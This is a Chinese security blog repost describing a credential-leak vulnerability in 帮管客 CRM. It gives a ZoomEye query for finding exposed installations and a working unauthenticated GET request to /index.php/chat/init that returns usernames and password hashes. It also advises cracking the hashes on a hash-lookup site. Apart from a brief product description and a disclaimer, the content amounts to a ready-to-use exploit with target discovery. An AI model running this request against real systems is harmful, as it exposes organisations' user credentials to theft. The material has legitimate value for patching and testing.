帮管客 存在用户信息泄露-漏洞复现-附EXP

admin 2024年2月12日14:05:15评论12 views字数 501阅读1分40秒阅读模式

注本公众号,长期推送技术文章

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

前言

帮管客是一款基于移动办公、客户管理、即时IM等一体化智能管理的企业软件,支持多种部署方式,提供全方位的销售跟进、智能化服务管理、高效的沟通协同和图表化数据分析等功能。

帮管客系统存在用户名密码信息泄露

资产

ZoomEye语法:app:"帮管客CRM"

帮管客 存在用户信息泄露-漏洞复现-附EXP

漏洞复现

数据包

GET /index.php/chat/init HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

帮管客 存在用户信息泄露-漏洞复现-附EXP

用户名Unicode解码

密码需要去cmd5的网站解密一下

帮管客 存在用户信息泄露-漏洞复现-附EXP

文末

后台回复“交流群”获取技术交流群链接

原文始发于微信公众号(知攻善防实验室):帮管客 存在用户信息泄露-漏洞复现-附EXP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月12日14:05:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   帮管客 存在用户信息泄露-漏洞复现-附EXPhttps://cn-sec.com/archives/2488645.html

发表评论

匿名网友 填写信息